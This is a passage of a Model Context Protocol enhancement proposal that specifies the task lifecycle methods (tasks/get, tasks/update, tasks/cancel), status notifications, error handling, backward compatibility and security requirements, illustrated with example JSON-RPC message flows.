2. If the status is `input_required`, the server **MUST** return a `Task` object with status `input_required` and an `inputRequests` field defined in [Multi Round-Trip Requests](./2322-MRTR.md). The `inputRequests` field **MUST** contain all outstanding requests from the server to the client that need to be fulfilled before the task can proceed.
3. If the status is `completed`, the server **MUST** return a `Task` object with status `completed` and a `result` field containing the final result of the task.
4. If the status is `cancelled`, the server **MUST** return a `Task` object with status `cancelled`.
5. If the status is `failed`, the server **MUST** return a `Task` object with status `failed` and the error that occurred during execution.
```typescript theme={null}
type GetTaskResult = Result & DetailedTask;
```
The response carries the appropriate response variant for the task's current status (see [Task Status](#task-status)). The `resultType` field **MUST** be set to `"complete"` on this object as it is the standard result shape for the `tasks/get` request.
If the task has a non-null `ttlMs`, clients **MAY** treat the TTL as a backstop: if the task's observable status has not reflected the update after `createdAt` plus `ttlMs` has elapsed, the client **MAY** consider the task to no longer be usable. Conversely, servers **MAY** mark a task as `failed` at any point after the TTL elapses, and subsequently delete it at any time. The value of `ttlMs` **MAY** change over the lifetime of a task.
### Task Update Requests
When a task requires input from the client (indicated by the `input_required` status), the server includes outstanding requests in the `inputRequests` field of the `tasks/get` response (see [Multi Round-Trip Requests](./2322-MRTR.md)). The client provides responses via the `inputResponses` field in one or more subsequent `tasks/update` requests.
When a client observes a `tasks/get` response (or `notifications/tasks` notification) with `status: "input_required"`, the client **SHOULD** fulfill the outstanding requests in `inputRequests` by sending one or more `tasks/update` requests with corresponding `inputResponses`. After sending a `tasks/update`, the client **SHOULD** continue observing the task's status via polling (`tasks/get`) or notifications (`notifications/tasks`) until it reaches a terminal state.
Clients **MUST** treat each entry in `inputRequests` as they would the equivalent standalone server-to-client request — for example, an elicitation request surfaced via `inputRequests` is subject to the same trust model and user-facing behavior as a direct `elicitation/create` request. Clients **SHOULD** deduplicate `inputRequests` keys across consecutive polls to avoid presenting the same request to the user or model more than once.
Each request key in `inputRequests` **MUST** be unique over the lifetime of a single task. A server **MUST NOT** reuse a key for a subsequent server-to-client request after a response for that key has been delivered, and **MUST NOT** use the same key to refer to two distinct requests over a task's lifetime. This guarantees that `inputResponses` keyed by the same identifier always refer to the request the client expects, eliminates ambiguity for clients deduplicating across polls, and lets servers ignore `inputResponses` for unknown or already-satisfied requests.
#### Request
```typescript theme={null}
interface UpdateTaskRequest extends JSONRPCRequest {
method: "tasks/update";
params: {
/** Identifier of the task to update. */
taskId: string;
/**
* Responses to outstanding inputRequests previously surfaced by the
* server. Shape per MRTR. Each key MUST correspond to a currently-
* outstanding inputRequest key.
*/
inputResponses: InputResponses;
};
}
```
#### Response
```typescript theme={null}
type UpdateTaskResult = Result; // empty acknowledgement
```
On success, the server **MUST** acknowledge the request with an empty result. The acknowledgement is *eventually consistent*: the server **MAY** accept the responses and return the ack before the task's observable status (via `tasks/get` or `notifications/tasks`) reflects them. Servers **SHOULD** return a JSON-RPC error if the `taskId` does not correspond to a known task. Clients **SHOULD** track `inputRequests` keys to avoid responding to requests more than once.
A server **SHOULD** ignore any `inputResponses` responses mapped to a key that is not currently outstanding for the task — including keys that were never issued, keys that have already been answered, and keys whose corresponding request has been superseded. A server **MAY** accept a partial set of responses (a strict subset of currently-outstanding keys);
The `resultType` field **MUST** be set to `"complete"` on `UpdateTaskResult` as it is the standard result shape for the `tasks/update` request.
### Task Cancellation
A client sends a `tasks/cancel` request to signal its intent to cancel an in-progress task. The `notifications/cancelled` notification **MUST NOT** be used for task cancellation.
#### Request
```typescript theme={null}
interface CancelTaskRequest extends JSONRPCRequest {
method: "tasks/cancel";
params: {
taskId: string;
};
}
```
#### Response
```typescript theme={null}
type CancelTaskResult = Result; // empty acknowledgement
```
The server **MUST** acknowledge the request with an empty result. Servers **SHOULD** return a JSON-RPC error if the `taskId` does not correspond to a known task. Cancellation processing is *eventually consistent* — the task's observable status **MAY** remain `working` (or some other non-terminal status) after the ack, and **MAY** ultimately reach a terminal status other than `cancelled` if the work finished before cancellation could take effect.
Cancellation is **cooperative**: The request signals intent, and the server decides whether and when to honor it. A server is not obligated to actually stop the work; it is only obligated to acknowledge the request. Eventual transition to `cancelled` is not guaranteed.
Clients **MAY** delete all state associated with the task as soon as they send a cancellation (e.g., it no longer needs to retain the list of `inputRequests` keys that it has already responded to). The client does not need to poll `tasks/get` again to wait for the task to reach the `cancelled` state.
The `resultType` field **MUST** be set to `"complete"` on `CancelTaskResult` as it is the standard result shape for the `tasks/cancel` request.
### Task Status Notifications
Servers **MAY** push status updates via `notifications/tasks` notifications in addition to servicing client polls:
```typescript theme={null}
export type TaskStatusNotificationParams = NotificationParams & Task;
export interface TaskStatusNotification extends JSONRPCNotification {
method: "notifications/tasks";
params: TaskStatusNotificationParams;
}
```
To begin listening for task status notifications, clients send a `subscriptions/listen` request to the server including a list of task IDs the client is interested in (see [SEP-2575](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2575)):
```typescript theme={null}
export interface SubscriptionsListenRequest extends Request {
method: "subscriptions/listen";
params: {
// Other existing fields...
notifications: {
taskIds?: string[];
// Other existing fields...
};
};
}
```
In its acknowledgement notification, the server includes the list of task IDs it has agreed to send task status notifications for, if any:
```typescript theme={null}
export interface SubscriptionsAcknowledgedNotification extends Notification {
method: "notifications/subscriptions/acknowledged";
params: {
notifications: {
/**
* Subscribe to notifications/tasks for specific task IDs.
*/
taskIds?: string[];
// Other existing fields...
};
};
}
```
If a client requests task status notifications but does not declare the `io.modelcontextprotocol/tasks` extension capability, the server **MUST** return a JSON-RPC error specifying the missing capabilities:
```jsonl theme={null}
{
"jsonrpc": "2.0",
"id": 12,
"error": {
// MISSING_REQUIRED_CLIENT_CAPABILITY
"code": -32021,
// Message provided for example purposes only. The content of this example message is non-normative.
"message": "Missing required client capability",
"data": {
"requiredCapabilities": {
"extensions": {
"io.modelcontextprotocol/tasks": {}
}
}
}
}
}
```
Each notification carries a complete `DetailedTask` for the current status, identical to what `tasks/get` would have returned at that moment.
**Notification:**
```json theme={null}
{
"jsonrpc": "2.0",
"method": "notifications/tasks",
"params": {
"taskId": "786512e2-9e0d-44bd-8f29-789f320fe840",
"status": "completed",
"createdAt": "2025-11-25T10:30:00Z",
"lastUpdatedAt": "2025-11-25T10:50:00Z",
"ttlMs": 60000,
"pollIntervalMs": 5000,
"result": {
"content": [
{
"type": "text",
"text": "Operation completed successfully."
}
],
"isError": false
}
}
}
```
The notification includes the full task object, allowing clients to access the complete task state and final results without polling the `tasks/get` method. Clients **MAY** continue polling `tasks/get` in addition to subscribing to task status notifications, but need not do so.
`notifications/progress` and `notifications/message` notifications **MUST NOT** be sent on the `subscriptions/listen` stream for a task, and are not supported on tasks in general in this specification.
### Streamable HTTP: Routing Headers
When `tasks/get`, `tasks/update`, or `tasks/cancel` is sent over the Streamable HTTP transport, the client **MUST** set the `Mcp-Name` header (defined by [SEP-2243](./2243-http-standardization.md)) to the value of `params.taskId`. This allows transport intermediaries and load balancers to route subsequent requests for the same task to the server instance holding its state, which is typically required for correctness. The `Mcp-Method` header is set to the JSON-RPC method name per [SEP-2243](./2243-http-standardization.md).
### Example Message Flow
Consider a simple tool call, `hello_world`, requiring an elicitation for the user to provide their name. The tool itself takes no arguments.
To invoke this tool, the client makes a `CallToolRequest` as follows:
```jsonc theme={null}
{
"jsonrpc": "2.0",
"id": 2,
"method": "tools/call",
"params": {
"name": "hello_world",
"arguments": {},
"_meta": {
// Other metadata...
"io.modelcontextprotocol/clientCapabilities": {
"extensions": {
"io.modelcontextprotocol/tasks": {},
},
},
},
},
}
```
The server determines (via bespoke logic) that it wants to create a task to represent this work, and it immediately returns a `CreateTaskResult`:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 2,
"result": {
"resultType": "task",
"taskId": "786512e2-9e0d-44bd-8f29-789f320fe840",
"status": "working",
"createdAt": "2025-11-25T10:30:00Z",
"lastUpdatedAt": "2025-11-25T10:50:00Z",
"ttlMs": 3600000,
"pollIntervalMs": 5000
}
}
```
Once the client receives the `CreateTaskResult`, it begins polling `tasks/get`:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 3,
"method": "tasks/get",
"params": {
"taskId": "786512e2-9e0d-44bd-8f29-789f320fe840"
}
}
```
On each request while the task is in a `"working"` status, the server returns a regular task response:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 3,
"result": {
"resultType": "complete",
"taskId": "786512e2-9e0d-44bd-8f29-789f320fe840",
"status": "working",
"createdAt": "2025-11-25T10:30:00Z",
"lastUpdatedAt": "2025-11-25T10:50:00Z",
"ttlMs": 3600000,
"pollIntervalMs": 5000
}
}
```
Eventually, the server reaches the point at which it needs to send an elicitation to the user. It sets the task status to `"input_required"` to signal this. On the next `tasks/get` request from the client, the server sends the elicitation payload via the `inputRequests` field. Note that while task `inputRequests` share structural similarities with [SEP-2322](./2322-MRTR.md) multi round-trip requests, they are a distinct mechanism: task `inputRequests` are surfaced via `tasks/get` and fulfilled via `tasks/update`, not via retries of the original method. A server that needs client input *before* returning a `CreateTaskResult` (e.g. to decide whether to proceed) uses the multi round-trip request flow on the original request; a server that needs client input *during* task execution uses the `inputRequests`/`inputResponses` mechanism described here.
```json theme={null}
{
"jsonrpc": "2.0",
"id": 4,
"method": "tasks/get",
"params": {
"taskId": "786512e2-9e0d-44bd-8f29-789f320fe840"
}
}
```
```json theme={null}
{
"id": 4,
"jsonrpc": "2.0",
"result": {
"resultType": "complete",
"taskId": "786512e2-9e0d-44bd-8f29-789f320fe840",
"status": "input_required",
"createdAt": "2025-11-25T10:30:00Z",
"lastUpdatedAt": "2025-11-25T10:50:00Z",
"ttlMs": 3600000,
"pollIntervalMs": 5000,
"inputRequests": {
"name": {
"method": "elicitation/create",
"params": {
"mode": "form",
"message": "Please enter your name.",
"requestedSchema": {
"type": "object",
"properties": {
"name": { "type": "string" }
},
"required": ["name"]
}
}
}
}
}
}
```
For thoroughness, let's consider a case where the client happens to poll `tasks/get` again *before* the user has fulfilled the elicitation request. As `inputRequests` is effectively a point-in-time snapshot of all outstanding server-to-client requests associated with the task, the server includes the same request again, despite the client having already seen this information (the client is advised to deduplicate `inputRequests` with the same key for UX purposes):
```json theme={null}
{
"jsonrpc": "2.0",
"id": 5,
"method": "tasks/get",
"params": {
"taskId": "786512e2-9e0d-44bd-8f29-789f320fe840"
}
}
```
```json theme={null}
{
"id": 5,
"jsonrpc": "2.0",
"result": {
"resultType": "complete",
"taskId": "786512e2-9e0d-44bd-8f29-789f320fe840",
"status": "input_required",
"createdAt": "2025-11-25T10:30:00Z",
"lastUpdatedAt": "2025-11-25T10:50:00Z",
"ttlMs": 3600000,
"pollIntervalMs": 5000,
"inputRequests": {
"name": {
"method": "elicitation/create",
"params": {
"mode": "form",
"message": "Please enter your name.",
"requestedSchema": {
"type": "object",
"properties": {
"name": { "type": "string" }
},
"required": ["name"]
}
}
}
}
}
}
```
The user enters their name, and the client makes a `tasks/update` request with the satisfied information:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 6,
"method": "tasks/update",
"params": {
"taskId": "786512e2-9e0d-44bd-8f29-789f320fe840",
"inputResponses": {
"name": {
"action": "accept",
"content": {
"input": "Luca"
}
}
}
}
}
```
The server acknowledges the request:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 6,
"result": {
"resultType": "complete"
}
}
```
Asynchronously, the server processes it and moves the task back into the `working` status:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 7,
"method": "tasks/get",
"params": {
"taskId": "786512e2-9e0d-44bd-8f29-789f320fe840"
}
}
```
```json theme={null}
{
"id": 7,
"jsonrpc": "2.0",
"result": {
"resultType": "complete",
"taskId": "786512e2-9e0d-44bd-8f29-789f320fe840",
"status": "working",
"createdAt": "2025-11-25T10:30:00Z",
"lastUpdatedAt": "2025-11-25T10:50:00Z",
"ttlMs": 3600000,
"pollIntervalMs": 5000
}
}
```
Eventually, the server completes the request, so it stores the final `CallToolResult` and moves the task into the `"completed"` status. On the next `tasks/get` request, the server sends the final tool result inlined into the task object:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 8,
"method": "tasks/get",
"params": {
"taskId": "786512e2-9e0d-44bd-8f29-789f320fe840"
}
}
```
```json theme={null}
{
"jsonrpc": "2.0",
"id": 8,
"result": {
"resultType": "complete",
"taskId": "786512e2-9e0d-44bd-8f29-789f320fe840",
"status": "completed",
"createdAt": "2025-11-25T10:30:00Z",
"lastUpdatedAt": "2025-11-25T10:50:00Z",
"ttlMs": 3600000,
"pollIntervalMs": 5000,
"result": {
"content": [
{
"type": "text",
"text": "Hello, Luca!"
}
],
"isError": false
}
}
}
```
### Error Handling
Tasks use two error reporting mechanisms:
1. **Protocol Errors**: Standard JSON-RPC errors for protocol-level issues
2. **Task Execution Errors**: Errors in the underlying request execution, reported through task status
#### Protocol Errors
Servers **MUST** return standard JSON-RPC errors for the following protocol error cases:
* Invalid or nonexistent `taskId`: `-32602` (Invalid params)
* Servers **MUST** return this error for `tasks/get`.
* Servers **SHOULD** return this error for `tasks/update` and `tasks/cancel`.
* Internal errors: `-32603` (Internal error)
* Missing required client capabilities: `-32021` (Missing Required Client Capability)
* Servers **MUST** return this error for non-declaring clients requesting task notifications on `subscriptions/listen`.
* Servers **MUST** return this error for non-declaring clients issuing `tasks/get`, `tasks/update`, and `tasks/cancel` requests.
Servers **SHOULD** provide informative error messages to describe the cause of errors.
**Example: Task not found**
```json theme={null}
{
"jsonrpc": "2.0",
"id": 70,
"error": {
"code": -32602,
"message": "Failed to retrieve task: Task not found"
}
}
```
**Example: Task expired**
```json theme={null}
{
"jsonrpc": "2.0",
"id": 71,
"error": {
"code": -32602,
"message": "Failed to retrieve task: Task has expired"
}
}
```
Servers are not required to retain tasks indefinitely. It is compliant behavior for a server to return an error stating the task cannot be found if it has purged an expired task.
#### Task Execution Errors
When the underlying request encounters a JSON-RPC protocol error during execution, the task moves to the `failed` status. The `tasks/get` response **SHOULD** include a `statusMessage` field with diagnostic information about the failure, and **MUST** include the `error` field with the JSON-RPC error.
The `failed` status **MUST NOT** be used to represent non-JSON-RPC errors, such as a tool result that completed with `isError: true`. Errors within the context of a protocol method result **MUST** use the `completed` status with the error details in the `result` field. This maintains a strong separation between protocol-level faults (which use the `failed` status) and other faults.
**Example: Task with JSON-RPC execution error**
```json theme={null}
{
"jsonrpc": "2.0",
"id": 4,
"result": {
"resultType": "task",
"taskId": "786512e2-9e0d-44bd-8f29-789f820fe840",
"status": "failed",
"createdAt": "2025-11-25T10:30:00Z",
"lastUpdatedAt": "2025-11-25T10:40:00Z",
"ttlMs": 3600000,
"statusMessage": "Tool execution failed: API rate limit exceeded",
"error": {
"code": -32603,
"message": "API rate limit exceeded"
}
}
}
```
**Example: Tool call completed with tool error (isError: true)**
For tool calls that complete successfully at the protocol level but return an tool-level error (indicated by `isError: true` in the tool result), the task reaches `completed` status with the tool result in the `result` field:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 5,
"result": {
"resultType": "task",
"taskId": "786512e2-9e0d-44bd-8f29-789f820fe840",
"status": "completed",
"createdAt": "2025-11-25T10:30:00Z",
"lastUpdatedAt": "2025-11-25T10:40:00Z",
"ttlMs": 3600000,
"result": {
"content": [
{
"type": "text",
"text": "Failed to process request: invalid input"
}
],
"isError": true
}
}
}
```
The `tasks/get` endpoint returns exactly what the underlying request would have returned:
* If the underlying request resulted in a JSON-RPC error, the task uses `failed` status and the `error` field **MUST** contain that JSON-RPC error.
* If the request completed with a result (even if `isError: true` for tool results), the task uses `completed` status and the `result` field **MUST** contain that result.
### Reservations
* The `tasks/` method prefix and `notifications/tasks/` notification prefix are reserved for this extension.
* The result-discriminator value `"task"` for `resultType` is reserved for this extension.
* The label `io.modelcontextprotocol/tasks` is reserved for this extension.
## Rationale
### Unsolicited Tasks vs. Immediate Results
An [alternative proposal](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/1905) would have handled the immediate result case individually, and with slightly different preconditions: *If* tasks are supported, *and* the client supports immediate task results, *then* servers may return a regular result in response to a task-augmented request. That version of immediate results looked like a better option at the time, as it implied no breaking changes on top of the initial tasks specification.
However, as we look to [move away](https://blog.modelcontextprotocol.io/posts/2025-12-19-mcp-transport-future/) from stateful protocol interactions and given the current experimental state of tasks in general, it seems worth proposing a somewhat more radical change that reduces the complexity of the overall specification and makes tasks more "native" to MCP at this time. In particular, the choice to allow unsolicited tasks (in *addition* to immediate results) means promoting tasks to a first-class concept intended for all persistent operations, as opposed to being a parallel and somewhat specialized concept.
This happens to align with the proposed [SEP-2322](./2322-MRTR.md), but the two are not coupled with one another.
### Splitting Reads (`tasks/get`) and Writes (`tasks/update`)
Earlier drafts of this redesign let `tasks/get` carry `inputResponses` so a single round trip would both submit responses and observe the resulting state. That conflation has costs: it makes the read path non-idempotent (a retried `tasks/get` could re-submit responses), it forces the read path to share the eventual-consistency model of the write, and it complicates intermediaries that want to cache or deduplicate reads. Splitting the methods leaves `tasks/get` as a pure, idempotent read that any layer can cache or replay safely, and confines write semantics — including their eventual-consistency window — to `tasks/update`.
`tasks/update`'s ack-only response shape follows from the same separation: there is no read data the server needs to return that the client cannot get from a follow-up `tasks/get`, and forcing an embedded `Task` into the response would re-introduce the non-idempotency we are trying to avoid. The cost is one extra round-trip per round of input — paid only when the task actually requires a client request.
### Task Creation Consistency
The following new requirement is introduced:
> A server **MUST NOT** return `CreateTaskResult` until the task is durably created — that is, until a `tasks/get` for the returned `taskId` would resolve. In eventually-consistent environments, the server **MUST** wait for consistency before responding. This requirement eliminates the need for clients to speculatively poll for task creation.
Unlike `tasks/update` and `tasks/cancel`, task creation is strongly-consistent. This has to be the case to avoid speculative `tasks/get` requests from requestors that would otherwise not know if a task has silently been dropped or if it simply has not been created yet. Conversely, eventual consistency in `tasks/update` and `tasks/cancel` works because the client behavior is not contingent on the results of those operations (the client can continue to poll either way). While consistent task creation does increase latency costs in distributed systems that did not already behave this way, explicitly introducing this requirement simplifies client implementations and eliminates a source of undefined behavior.
This also aligns with long-running operation APIs in general, which typically require that once an operation is acknowledged, it must be findable via the polling endpoint.
### Ack-only Cancellation
In the `2025-11-25` design of tasks, `tasks/cancel` returned a task describing the task's state immediately after the cancellation attempt. That return shape implies a synchronous read — the server must consult task state to populate it — but cancellation is inherently asynchronous in many applications (a separate worker decides whether and when to honor it), so the returned task object would in many cases simply repeat what the next `tasks/get` would show. Reducing `tasks/cancel` to an ack matches the operation's actual semantics: The request is a signal, not a state query. Clients that want to know the post-cancel status do so via `tasks/get` on the same code path they use for all other state observation.
The eventual-consistency on the ack is the same separation as for `tasks/update`: The server may record the cancellation request and respond before the worker has actually transitioned the task, without allowing the client to interpret the ack as strongly-consistent.
While `tasks/update` and `tasks/cancel` use ack-only response shapes for the reasons above, servers **SHOULD** still return errors for clearly invalid requests — such as an unknown `taskId`. The ack-only design is about avoiding synchronous reads of task state in the success path, not about suppressing errors that the server can detect at request time. Returning errors for invalid inputs gives clients a faster signal that something is wrong, rather than forcing them to discover the problem indirectly through subsequent `tasks/get` polls.
### Composition with Multi Round-Trip Requests
The following new requirement is introduced:
> Server implementations that use multi round-trip requests in conjunction with task creation (for example, a tool that requires elicitation over `InputRequiredResult` before creating a task) **SHOULD** resolve all MRTR exchanges *synchronously* before responding with a `CreateTaskResult`.
A `tools/call` that supports both MRTR ([SEP-2322](./2322-MRTR.md)) and this extension may use them sequentially by sending one or more `InputRequiredResult` exchanges to gather input synchronously, followed by a `CreateTaskResult` to hand off to asynchronous execution. This composition is a consequence of the `resultType` discriminator — each response is independently typed and the client switches behavior based on the value it receives, *without* maintaining any state between the two modes. Prohibiting this would require imposing an artificial constraint with no protocol-level mechanism to enforce it, since the client is unaware that the server will create a task ahead of time.
The two flows maintain separate state despite sharing field names. The MRTR phase ends when the server returns any non-`"input_required"` `resultType`, at which point its `inputRequests` keys are consumed. The task phase begins with `CreateTaskResult` and maintains *its own* `inputRequests` keys independently. Key uniqueness for task `inputRequests` is scoped to the lifetime of the task and does not extend to keys from the preceding MRTR phase. Clients do not need to deduplicate across the two flows.
## Backward Compatibility
The experimental tasks feature in the `2025-11-25` release is **not wire-compatible** with this extension. Implementations that need to interoperate with both surfaces can shim at the SDK level by implementing the experimental and extension flows in parallel and dispatching on the negotiated protocol version and the client capability the peer declared. The following table summarizes the expected behavior for each permutation:
| Protocol Version | `tasks.*` (legacy) | `io.modelcontextprotocol/tasks` |
| ---------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `2025-11-25` | Legacy experimental tasks per the `2025-11-25` specification. The client opts into task augmentation per request via the `task` parameter on `CallToolRequest`; the server uses `tasks/result`, `tasks/get`, `tasks/cancel`, and (where supported) `tasks/list` per that specification. This extension does not apply. | This extension is not defined under the `2025-11-25` protocol version. Servers **MUST NOT** treat this capability as enabling tasks under that protocol version; requests proceed as if the client had declared no task capability at all. |
| `2026-06-30` | The legacy capability is not part of this extension. Servers **MUST** treat clients declaring only the legacy capability as non-declaring with respect to this extension. Servers that simultaneously support the `2025-11-25` Tasks specification alongside this extension **SHOULD** continue to permit `tasks/get` and `tasks/cancel` requests from such clients to operate on tasks created under that flow. | The canonical case. Full task lifecycle as specified in this document, with the following wire-level differences from the `2025-11-25` experimental feature:
`tasks/result` is removed; clients calling it **MUST** receive `-32601` (Method Not Found).
The `task` parameter on `CallToolRequest` is removed; servers **MUST** ignore it (treat the field as unknown) rather than using it as an opt-in.
The `tasks.requests.*`, `tasks.cancel`, and `tasks.list` capability declarations are not part of this extension. Servers that previously advertised these **MUST** migrate to declaring `io.modelcontextprotocol/tasks`, and **MUST NOT** continue to advertise the legacy capabilities under any protocol version that includes this extension.
|
A server that returns the standard `CallToolResult` shape — i.e., never elects to create a task — remains fully spec-compliant under this extension. Clients that have negotiated the extension **MUST** handle both result shapes for any augmented request.
## Security Implications
* **Task ID unguessability.** A server **MAY** use task IDs as bearer tokens for a server's stored state. Servers **MUST** generate them with sufficient entropy that a third party cannot enumerate or guess them.
* **Auth binding.** Servers **MUST** perform authentication and authorization checks on each task-related request to ensure that the client has permission to access a task.
* **Cross-caller correlation.** Because there is no `tasks/list`, a server cannot inadvertently leak the existence of one caller's tasks to another. This is an improvement over the `2025-11-25` tasks specification, in which a poorly-scoped list could expose unrelated task IDs.
* **Input-request trust model.** `inputRequests` carry elicitation and sampling payloads from the server through the client to the user or model. Hosts **MUST** apply the same trust model to these payloads as they would to standard elicitation/sampling requests. A task is not a higher-trust channel.
## Reference Implementation
Implemented in [mcpkit](https://github.com/panyam/mcpkit/blob/02cfbe0d2cada8167b9043b9130804c8638b0aa5/core/task_v2.go) (see [usage example](https://github.com/panyam/mcpkit/tree/02cfbe0d2cada8167b9043b9130804c8638b0aa5/examples/tasks-v2)).